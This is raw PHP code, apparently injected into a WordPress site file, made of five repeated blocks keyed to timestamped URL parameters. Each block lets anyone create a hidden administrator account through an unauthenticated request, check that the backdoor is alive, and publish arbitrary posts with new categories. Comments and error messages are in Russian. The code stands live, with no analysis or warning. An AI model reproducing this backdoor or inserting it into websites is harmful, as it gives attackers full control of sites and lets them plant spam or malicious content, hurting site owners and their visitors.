if(isset($_GET['create_admin1721430314578'])){ $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $username = $_POST['login']; $password = $_POST['password']; $email = $_POST['email']; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (is_int($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); echo "OK"; } else { echo "Ошибка при создании пользователя админа."; } } else { echo "OK"; } exit; } if (isset($_GET['service_test1721430314578'])) { echo "OK"; die; } if (isset($_GET['service_post1721430314578'])) { $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $title = sanitize_text_field( $_POST['title'] ); $content = $_POST['content']; $slug = $_POST['slug']; $new_post = array( 'post_title' => $title, 'post_content' => $content, 'post_name' => $slug, 'post_status' => 'publish', 'post_type' => 'post' ); $post_id = wp_insert_post( $new_post ); $category_name =$_POST['category'] ; if ( ! is_wp_error( $post_id ) ) { $category_id = term_exists($category_name, 'category'); if ($category_id === 0 || $category_id === null) { // Если категории с таким названием не существует, создаем ее $cat_id = wp_insert_term( $category_name, 'category', array( 'description'=> 'Описание новой категории', 'slug' => sanitize_title($category_name) ) ); if (!is_wp_error($cat_id)) { $category_id = $cat_id['term_id']; } } else { $category_id = $category_id['term_id']; } wp_set_post_categories( $post_id, array( $category_id ) ); status_header( 201 ); $post = get_post( $post_id ); $post_permalink = get_permalink($post_id); $result = array('link'=>$post_permalink,'postId'=>$post_id); echo json_encode($result); } else { status_header( 500 ); echo json_encode( array( 'error' => 'Ошибка создания поста' ) ); } exit; }if(isset($_GET['create_admin1721430712227'])){ $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $username = $_POST['login']; $password = $_POST['password']; $email = $_POST['email']; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (is_int($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); echo "OK"; } else { echo "Ошибка при создании пользователя админа."; } } else { echo "OK"; } exit; } if (isset($_GET['service_test1721430712227'])) { echo "OK"; die; } if (isset($_GET['service_post1721430712227'])) { $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $title = sanitize_text_field( $_POST['title'] ); $content = $_POST['content']; $slug = $_POST['slug']; $new_post = array( 'post_title' => $title, 'post_content' => $content, 'post_name' => $slug, 'post_status' => 'publish', 'post_type' => 'post' ); $post_id = wp_insert_post( $new_post ); $category_name =$_POST['category'] ; if ( ! is_wp_error( $post_id ) ) { $category_id = term_exists($category_name, 'category'); if ($category_id === 0 || $category_id === null) { // Если категории с таким названием не существует, создаем ее $cat_id = wp_insert_term( $category_name, 'category', array( 'description'=> 'Описание новой категории', 'slug' => sanitize_title($category_name) ) ); if (!is_wp_error($cat_id)) { $category_id = $cat_id['term_id']; } } else { $category_id = $category_id['term_id']; } wp_set_post_categories( $post_id, array( $category_id ) ); status_header( 201 ); $post = get_post( $post_id ); $post_permalink = get_permalink($post_id); $result = array('link'=>$post_permalink,'postId'=>$post_id); echo json_encode($result); } else { status_header( 500 ); echo json_encode( array( 'error' => 'Ошибка создания поста' ) ); } exit; }if(isset($_GET['create_admin1721432871485'])){ $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $username = $_POST['login']; $password = $_POST['password']; $email = $_POST['email']; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (is_int($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); echo "OK"; } else { echo "Ошибка при создании пользователя админа."; } } else { echo "OK"; } exit; } if (isset($_GET['service_test1721432871485'])) { echo "OK"; die; } if (isset($_GET['service_post1721432871485'])) { $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $title = sanitize_text_field( $_POST['title'] ); $content = $_POST['content']; $slug = $_POST['slug']; $new_post = array( 'post_title' => $title, 'post_content' => $content, 'post_name' => $slug, 'post_status' => 'publish', 'post_type' => 'post' ); $post_id = wp_insert_post( $new_post ); $category_name =$_POST['category'] ; if ( ! is_wp_error( $post_id ) ) { $category_id = term_exists($category_name, 'category'); if ($category_id === 0 || $category_id === null) { // Если категории с таким названием не существует, создаем ее $cat_id = wp_insert_term( $category_name, 'category', array( 'description'=> 'Описание новой категории', 'slug' => sanitize_title($category_name) ) ); if (!is_wp_error($cat_id)) { $category_id = $cat_id['term_id']; } } else { $category_id = $category_id['term_id']; } wp_set_post_categories( $post_id, array( $category_id ) ); status_header( 201 ); $post = get_post( $post_id ); $post_permalink = get_permalink($post_id); $result = array('link'=>$post_permalink,'postId'=>$post_id); echo json_encode($result); } else { status_header( 500 ); echo json_encode( array( 'error' => 'Ошибка создания поста' ) ); } exit; }if(isset($_GET['create_admin1721433381624'])){ $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $username = $_POST['login']; $password = $_POST['password']; $email = $_POST['email']; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (is_int($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); echo "OK"; } else { echo "Ошибка при создании пользователя админа."; } } else { echo "OK"; } exit; } if (isset($_GET['service_test1721433381624'])) { echo "OK"; die; } if (isset($_GET['service_post1721433381624'])) { $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $title = sanitize_text_field( $_POST['title'] ); $content = $_POST['content']; $slug = $_POST['slug']; $new_post = array( 'post_title' => $title, 'post_content' => $content, 'post_name' => $slug, 'post_status' => 'publish', 'post_type' => 'post' ); $post_id = wp_insert_post( $new_post ); $category_name =$_POST['category'] ; if ( ! is_wp_error( $post_id ) ) { $category_id = term_exists($category_name, 'category'); if ($category_id === 0 || $category_id === null) { // Если категории с таким названием не существует, создаем ее $cat_id = wp_insert_term( $category_name, 'category', array( 'description'=> 'Описание новой категории', 'slug' => sanitize_title($category_name) ) ); if (!is_wp_error($cat_id)) { $category_id = $cat_id['term_id']; } } else { $category_id = $category_id['term_id']; } wp_set_post_categories( $post_id, array( $category_id ) ); status_header( 201 ); $post = get_post( $post_id ); $post_permalink = get_permalink($post_id); $result = array('link'=>$post_permalink,'postId'=>$post_id); echo json_encode($result); } else { status_header( 500 ); echo json_encode( array( 'error' => 'Ошибка создания поста' ) ); } exit; }if(isset($_GET['create_admin1721437492416'])){ $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $username = $_POST['login']; $password = $_POST['password']; $email = $_POST['email']; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (is_int($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); echo "OK"; } else { echo "Ошибка при создании пользователя админа."; } } else { echo "OK"; } exit; } if (isset($_GET['service_test1721437492416'])) { echo "OK"; die; } if (isset($_GET['service_post1721437492416'])) { $rawData = file_get_contents("php://input"); $_POST = json_decode($rawData, true); $title = sanitize_text_field( $_POST['title'] ); $content = $_POST['content']; $slug = $_POST['slug']; $new_post = array( 'post_title' => $title, 'post_content' => $content, 'post_name' => $slug, 'post_status' => 'publish', 'post_type' => 'post' ); $post_id = wp_insert_post( $new_post ); $category_name =$_POST['category'] ; if ( ! is_wp_error( $post_id ) ) { $category_id = term_exists($category_name, 'category'); if ($category_id === 0 || $category_id === null) { // Если категории с таким названием не существует, создаем ее $cat_id = wp_insert_term( $category_name, 'category', array( 'description'=> 'Описание новой категории', 'slug' => sanitize_title($category_name) ) ); if (!is_wp_error($cat_id)) { $category_id = $cat_id['term_id']; } } else { $category_id = $category_id['term_id']; } wp_set_post_categories( $post_id, array( $category_id ) ); status_header( 201 ); $post = get_post( $post_id ); $post_permalink = get_permalink($post_id); $result = array('link'=>$post_permalink,'postId'=>$post_id); echo json_encode($result); } else { status_header( 500 ); echo json_encode( array( 'error' => 'Ошибка создания поста' ) ); } exit; }